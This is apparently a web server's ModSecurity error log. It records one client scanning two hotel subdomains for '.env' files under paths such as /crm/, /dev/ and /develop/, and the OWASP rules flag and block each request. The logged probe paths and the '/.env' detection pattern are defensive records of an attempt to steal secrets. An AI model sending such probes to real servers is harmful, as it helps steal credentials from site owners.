[Sun Oct 25 04:06:30.971346 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/crm/.env"] [unique_id "at24hoHtOs-nfC4GshpR_gAAABc"]
[Sun Oct 25 04:06:30.971598 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/crm/.env"] [unique_id "at24hoHtOs-nfC4GshpR_gAAABc"]
[Sun Oct 25 04:06:30.972005 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/crm/.env"] [unique_id "at24hoHtOs-nfC4GshpR_gAAABc"]
[Sun Oct 25 04:06:30.973600 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/cron/.env"] [unique_id "at24hlTnwNJm6o1fQZIi_gAAAAI"]
[Sun Oct 25 04:06:30.973840 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/cron/.env"] [unique_id "at24hlTnwNJm6o1fQZIi_gAAAAI"]
[Sun Oct 25 04:06:30.974240 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/cron/.env"] [unique_id "at24hlTnwNJm6o1fQZIi_gAAAAI"]
[Sun Oct 25 04:06:31.033155 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/crm/.env"] [unique_id "at24h6rU4NwppjTEGaL61gAAAAY"]
[Sun Oct 25 04:06:31.033400 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/crm/.env"] [unique_id "at24h6rU4NwppjTEGaL61gAAAAY"]
[Sun Oct 25 04:06:31.033770 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/crm/.env"] [unique_id "at24h6rU4NwppjTEGaL61gAAAAY"]
[Sun Oct 25 04:06:31.043663 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at24h9xXWZMI2DaSlsHxeQAAABY"]
[Sun Oct 25 04:06:31.043816 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at24h9xXWZMI2DaSlsHxeQAAABY"]
[Sun Oct 25 04:06:31.044064 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at24h9xXWZMI2DaSlsHxeQAAABY"]
[Sun Oct 25 04:06:31.072560 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cron/.env"] [unique_id "at24h7QKh4dfs72fmHxwRwAAAAE"]
[Sun Oct 25 04:06:31.072719 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cron/.env"] [unique_id "at24h7QKh4dfs72fmHxwRwAAAAE"]
[Sun Oct 25 04:06:31.072952 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cron/.env"] [unique_id "at24h7QKh4dfs72fmHxwRwAAAAE"]
[Sun Oct 25 04:06:31.075089 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "at24h1TnwNJm6o1fQZIi_wAAAAI"]
[Sun Oct 25 04:06:31.075256 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "at24h1TnwNJm6o1fQZIi_wAAAAI"]
[Sun Oct 25 04:06:31.075502 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "at24h1TnwNJm6o1fQZIi_wAAAAI"]
[Sun Oct 25 04:06:31.130066 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at24h6rU4NwppjTEGaL61wAAAAY"]
[Sun Oct 25 04:06:31.130242 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at24h6rU4NwppjTEGaL61wAAAAY"]
[Sun Oct 25 04:06:31.130556 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at24h6rU4NwppjTEGaL61wAAAAY"]
[Sun Oct 25 04:06:31.175173 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "at24h7QKh4dfs72fmHxwSAAAAAE"]
[Sun Oct 25 04:06:31.227277 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "at24h7QKh4dfs72fmHxwSAAAAAE"]
[Sun Oct 25 04:06:31.188023 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at24h4HtOs-nfC4GshpSAAAAABc"]
[Sun Oct 25 04:06:31.245840 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at24h4HtOs-nfC4GshpSAAAAABc"]
[Sun Oct 25 04:06:31.246167 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at24h4HtOs-nfC4GshpSAAAAABc"]
[Sun Oct 25 04:06:31.226312 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at24h568N771hz7W4KlslQAAAAw"]
[Sun Oct 25 04:06:31.248055 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at24h568N771hz7W4KlslQAAAAw"]
[Sun Oct 25 04:06:31.248340 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at24h568N771hz7W4KlslQAAAAw"]
[Sun Oct 25 04:06:31.227011 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /develop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/develop/.env"] [unique_id "at24h9xXWZMI2DaSlsHxewAAABY"]
[Sun Oct 25 04:06:31.249554 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/develop/.env"] [unique_id "at24h9xXWZMI2DaSlsHxewAAABY"]
[Sun Oct 25 04:06:31.249803 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/develop/.env"] [unique_id "at24h9xXWZMI2DaSlsHxewAAABY"]
[Sun Oct 25 04:06:31.237852 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "at24h7QKh4dfs72fmHxwSAAAAAE"]
[Sun Oct 25 04:06:31.290605 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /developer/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/developer/.env"] [unique_id "at24h1TnwNJm6o1fQZIjAQAAAAI"]
[Sun Oct 25 04:06:31.290826 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/developer/.env"] [unique_id "at24h1TnwNJm6o1fQZIjAQAAAAI"]
[Sun Oct 25 04:06:31.291168 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/developer/.env"] [unique_id "at24h1TnwNJm6o1fQZIjAQAAAAI"]
[Sun Oct 25 04:06:31.344089 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /develop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/develop/.env"] [unique_id "at24h7QKh4dfs72fmHxwSQAAAAE"]
[Sun Oct 25 04:06:31.344236 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/develop/.env"] [unique_id "at24h7QKh4dfs72fmHxwSQAAAAE"]
[Sun Oct 25 04:06:31.344501 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/develop/.env"] [unique_id "at24h7QKh4dfs72fmHxwSQAAAAE"]
